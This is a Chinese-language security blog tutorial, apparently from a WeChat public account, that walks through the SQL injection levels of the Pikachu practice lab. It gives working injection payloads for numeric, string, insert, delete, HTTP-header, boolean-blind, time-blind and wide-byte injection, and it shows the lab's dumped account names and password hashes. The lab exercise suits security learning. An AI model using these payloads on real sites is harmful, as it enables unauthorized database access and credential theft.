声明!
本文由泷羽 Sec-风公众号原创,旨在为初学者提供技术交流与学习的参考,助力技术水平提升。文章中提及的网站内容仅供学习探讨之用,与作者无关。读者需严格遵守法律法规,严禁将本文内容用于任何违法活动,否则一切后果由行为人自行承担。
题记
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入; 2.使用参数化(Parameterized Query 或 Parameterized Statement); 3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不再多写了。 你可以通过“Sql Inject”对应的测试栏目,来进一步的了解该漏洞。
数字型注入(POST)
数字型注入是一种SQL注入攻击方式,主要针对应用程序中的数字参数。攻击者通过修改参数值来欺骗应用程序执行非法操作。这种攻击通常发生在应用程序的输入验证不严密的地方,例如在SQL查询中直接使用用户输入的数据,而不进行过滤或转义。数字型注入可能导致数据泄露、篡改或删除等后果。
数字型注入的测试步骤和检测方法
加单引号测试:在URL中添加单引号,例如将 www.text.com/text.php?id=3 改为 www.text.com/text.php?id=3’ 。如果SQL语句出错,程序无法正常从数据库中查询出数据,就会抛出异常。
and 1=1测试:在URL中添加and 1=1,例如 www.text.com/text.php?id=3and 1=1 。如果语句执行正常,与原始页面没有任何差异,则可以判断存在数字型注入。
and 1=2测试:在URL中添加and 1=2,例如 www.text.com/text.php?id=3and 1=2 。如果语句可以正常执行,但无法查询出结果,返回数据与原始网页存在差异,也可以判断存在数字型注入。
打开靶场,观察一下
对于sql注入,有许多方式可以来进行测试,这里我借助工具hackbar,这个可以在浏览器扩展工具-应用商店下载。
我们点击LOAD,获取链接及数据,然后输入
id=1 or 1=1--+&submit=%E6%9F%A5%E8%AF%A2
最后点击EXECUTE,可以看到数据已经显示出来了。
我们测试一下该SQL语句有多少字段。
输入SQL语句,数据显示正常。
id=1 order by 1,2--+&submit=%E6%9F%A5%E8%AF%A2
可以看到数据显示异常。
id=1 order by 1,2,3--+&submit=%E6%9F%A5%E8%AF%A2
那么我们就知道了字段数量为2,可以查询一下数据库名
id=1 union select 1,database();&submit=%E6%9F%A5%E8%AF%A2
通过SQL注入,得到数据库名之后,便可以查看表名
id=1 union select 1,table_name from information_schema.tables where table_schema='pikachu';&submit=%E6%9F%A5%E8%AF%A2
得到了表名,便可以查询字段名
id=1 union select 1,column_name from information_schema.columns where table_name='users';&submit=%E6%9F%A5%E8%AF%A2
也可以直接查询数据,但是由于字段数为2,我们无法直接把所有数据全部展示
字符型注入(GET)
字符型注入与数字型注入检测方法相同。数字型注入主要针对数字类型的参数,如ID、年龄等,输入的数据通常是整数或浮点数。而字符型注入主要针对字符类型的参数,如用户名、密码、电子邮件等。输入的数据通常是字符串。
我们输入一个用户名,后边拼接注入语句
sqli_str.php?name=admin' or 1=1--+;&submit=%E6%9F%A5%E8%AF%A2#
可以看到通过闭合单引号,并且在后边加上--+注释掉服务器源代码后边的SQL语句,能够爆出数据,接着我们看一下字段数是多少
可以看出,该SQ语句的字段数也是2,接下来的爆破库名、表名、字段名、数据与POST一致。
记得别忘记了该加引号和不该加引号的地方,如果输错了会报错。
搜索型注入
对于搜索型注入,与字符型注入基本一致
XX型注入
XX型注入是字符型的一个变种,只在闭合方式上有所不同
这一关测试了单引号闭合,提示语法错误,所以我们需要多测试一下,看看应该怎么闭合,经过测试,为单引号+右括号,其他获取数据库数据的方式与前边的注入方法相同
insert/update注入
insert注入:在SQL语句中作为插入语句的关键词,当存在为数据库添加数据(例如注册用户)的行为时,可以用来尝试报错注入
我们尝试对该注册页面进行注入,首先可以看到账号密码是必填项,我们先输入账号,不输入密码,然后点击submit提交,发送该数据包后,我们使用hackbar将填写数据load下来
我们填写好账号密码,其他无需理会,然后对所有位置进行测试,经过测试,我们可以直接在username这个数据点直接注入
add=&email=&password=123123&phonenum=&sex=&submit=submit&username=admin'and updatexml(1,concat(2,(select database())),3) or '
可以看到,报错注入已经成功得到该数据库的库名为“pikachu”,接下来我们获取一下数据表
add=&email=&password=123&phonenum=&sex=&submit=submit&username=123'and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),3) or '
可以看到,我们已经获得了表名。并且这里有个需要注意的点,就是为什么需要用group_concat(table_name),使用group_concat函数可以将同一个分组输出的结果连接起来,返回一个字符串结果。
我们看看不使用group_concat函数会是什么样的返回值
可以看到,数据库直接报错,提示返回值超过1行,而我们上边看到的表名是有5个之多的,所以会造成数据库报错
我们接着获取一下字段名
add=&email=&password=123&phonenum=&sex=&submit=submit&username=123'and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_name='users')),3) or '
可以看到,共有4个字段,我们查询一下其内容
add=&email=&password=123&phonenum=&sex=&submit=submit&username=123'and updatexml(1,concat(2,(select group_concat(id,username,password) from users)),3) or '
成功获取到账号密码
update注入:在SQL语句中作为修改语句的关键词,当存在为数据库修改数据(例如更新个人资料)的行为时,可以用来尝试报错注入,注入方法与insert注入方法相同
delete注入
Delete注入是指在SQL的DELETE
语句中,通过用户输入的数据插入恶意的SQL代码,从而篡改或执行未经授权的数据库操作。这种注入攻击通常用于删除数据库中的数据,但也可以用于获取数据库的结构信息。
我们发个留言,然后把鼠标移动到该留言,删除的位置,可以看到左下角出现了删除按钮的链接,我们load下来后补充?id=57,然后进行SQL注入测试
我们尝试获取库名,通过id=57,我们可以判断其可能为数字型注入,而数字型注入是不需要使用单引号来进行闭合的,所以我们直接构造SQL注入语句
?id=57 and updatexml(1,concat(2,(select database())),3)
之后便是获取表名
?id=57 and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),3)
?id=57 and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_name='users')),3)
?id=57 and updatexml(1,concat(2,(select group_concat(id,username,password) from users)),3)
"http header"头注入
对于该靶场,我们首先输入admin/123456进行登录,对于这种弱密码直接爆破很容易得到结果
接着我们对其进行抓包,开启burp拦截并刷新网站页面可以看到成功将数据包拦截
接着我们将该数据包发送至重放器,删掉User-Agent的内容,并测试是否需要使用单引号闭合
可以看到,当不使用单引号或者使用两个双引号时,页面不报错,但只使用一个单引号时则报错,那么我们可以确定在该处需要两个单引号来进行闭合,通常我们在测试页面是否有SQL注入点的时候也是用这种方法,就是利用各种字符串来尝试让页面报数据库代码错误,这样就能证明存在注入点。
'and updatexml(1,concat(2,(select database())),3) or '
1'and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),3) or '
1'and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_name='users')),3) or '
1'and updatexml(1,concat(2,(select group_concat(id,username,password) from users)),3) or '
基于boolian的盲注
布尔盲注,输入的内容只会返回正确与否,即True或者False,服务器不会返回报错信息
我们找一个正确的账号如kobe来进行测试
可以看到,当输入内容为kobe时,页面返回uid和邮箱,如果输入的是kobe'则显示输入的用户名不存在,那么我们可以基于此构造SQL代码来获取正确的数据
首先我们判断一下数据库的长度
?name=kobe' and length(database())>6--+&submit=%E6%9F%A5%E8%AF%A2
?name=kobe' and length(database())>7--+&submit=%E6%9F%A5%E8%AF%A2
通过database()>6返回True和database()>7返回False,可以得到数据库的长度为7
接着我们爆破数据库的首字母,
?name=kobe' and (substr(database(),1,1))='a'--+&submit=%E6%9F%A5%E8%AF%A2
' and (substr(database(),1,1))='p'--+&submit=%E6%9F%A5%E8%AF%A2
当第一个字符为"p"的时候,服务器返回了True,那么我们可以知道数据库名的第一个字符为"p",接着我们获取第二个字符
?name=kobe' and (substr(database(),2,1))='i'--+&submit=%E6%9F%A5%E8%AF%A2
当字符为"i"的时候,服务器返回True,可以得到数据库名的第二个字符为"i",接着一直爆破,最终得到数据库名为"pikachu"
以此类推,我们获取数据表的表名第一个字符
?name=kobe' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h'--+&submit=%E6%9F%A5%E8%AF%A2
一直到爆破到最终,获得表名为httpinfo,member,message,users,xssblind
同理,一直爆破到最后,可以获得表中的字段名
?name=kobe' and (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='i'--+&submit=%E6%9F%A5%E8%AF%A2
以此类推
对应账号和MD5加密的密码:
admin:e10adc3949ba59abbe56e057f20f883e(123456)
pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
test:e99a18c428cb38d5f260853678922e03(abc123)
基于时间的盲注
在基于时间的盲注中,服务器不会返回报错信息,也不会返回输入内容是否正确,所以我们只能通过时间是否被延长,比如在注入语句中增加sleep(3),如果服务器延迟了3秒才返回内容,则证明注入有效,如果服务器直接返回内容,则证明注入无效来判断我们是否成功注入
?name=kobe' and sleep(3)--+&submit=%E6%9F%A5%E8%AF%A2
可以看到,当我输入的值为kobe时,加载时间使用了3.10秒,而当随便输入一个不存在的用户时,加载时间仅为97毫秒,我们便可以利用这个时间差来爆破数据库库名、表名、字段名以及数据
获取库名
?name=kobe' and sleep(if(ascii(substr(database(),1,1))=ascii('p'),3,0))--+&submit=%E6%9F%A5%E8%AF%A2
以此类推,获得数据库名为'pikachu',需要注意的是,在SQL语句中,比较运算符使用 =
而不是 ==
获取表名
?name=kobe' and if(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1)='h',sleep(3),0)--+&submit=%E6%9F%A5%E8%AF%A2
以此类推,获得所有数据表的表名为httpinfo,member,message,users,xssblind
获取字段名
?name=kobe' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i',sleep(3),0)--+&submit=%E6%9F%A5%E8%AF%A2
以此类推,所有字段名为id,username,password,level
宽字节注入
宽字节是指两个字节宽度的编码技术,像GB2312、GBK、GB18030、BIG5、Shift_JIS等都是常说的宽字节编码。宽字节注入主要是利用了字符编码转换过程中的漏洞,当应用程序的数据库连接使用宽字节字符集,且存在SQL注入漏洞时,攻击者可以通过构造特殊的SQL语句,绕过输入过滤,执行恶意SQL命令。
在PHP中,addslashes()
等函数用于转义特殊字符,如单引号、双引号、反斜线等,以防止SQL注入。但在GBK编码下,MySQL会将两个字节识别为一个汉字,当攻击者在单引号前添加特定的字节(如%df),经过addslashes()
转义后,MySQL会将%df和转义后的反斜线%5c解析成一个汉字,从而使单引号成功逃逸。
我们先来看看能不能安装常规注入方式进行注入
name=kobe' or 1=1--+&submit=%E6%9F%A5%E8%AF%A2
可以看到,单引号并不能使服务器报错,也就是说,单引号被过滤了,那么我们使用%df'来进行宽字节注入看看情况
name=kobe%df'+or+1=1--+&submit=%E6%9F%A5%E8%AF%A2
可以看到,使用宽字节注入能够成功得到数据,我们看一下字段数是多少
name=kobe%df'+union+select+1,2--+&submit=%E6%9F%A5%E8%AF%A2
当字段数为2时,服务器回显数据不报错,我们接着获取库名
name=kobe%df'+union+select+1,database()--+&submit=%E6%9F%A5%E8%AF%A2
获取表名
name=kobe%df'+union+select+group_concat(table_name),2+from+information_schema.tables+where+table_schema=database()--+&submit=%E6%9F%A5%E8%AF%A2
获取字段名
name=kobe%df'+union+select+group_concat(column_name),2+from+information_schema.columns+where+table_name=0x7573657273--+&submit=%E6%9F%A5%E8%AF%A2
这里由于无法再次使用%df'来另ASCII编码的'users'生效,所以将users直接转为16进制编码0x7573657273
获取数据
name=kobe%df'+union+select+group_concat(id,username,password),2+from+users--+&submit=%E6%9F%A5%E8%AF%A2
最终获得对应ID、账号和MD5加密的密码:
1,admin:e10adc3949ba59abbe56e057f20f883e(123456)
2,pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)
3,test:e99a18c428cb38d5f260853678922e03(abc123)
原文始发于微信公众号(泷羽Sec-风):pikachu - Sql Inject(SQL注入)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论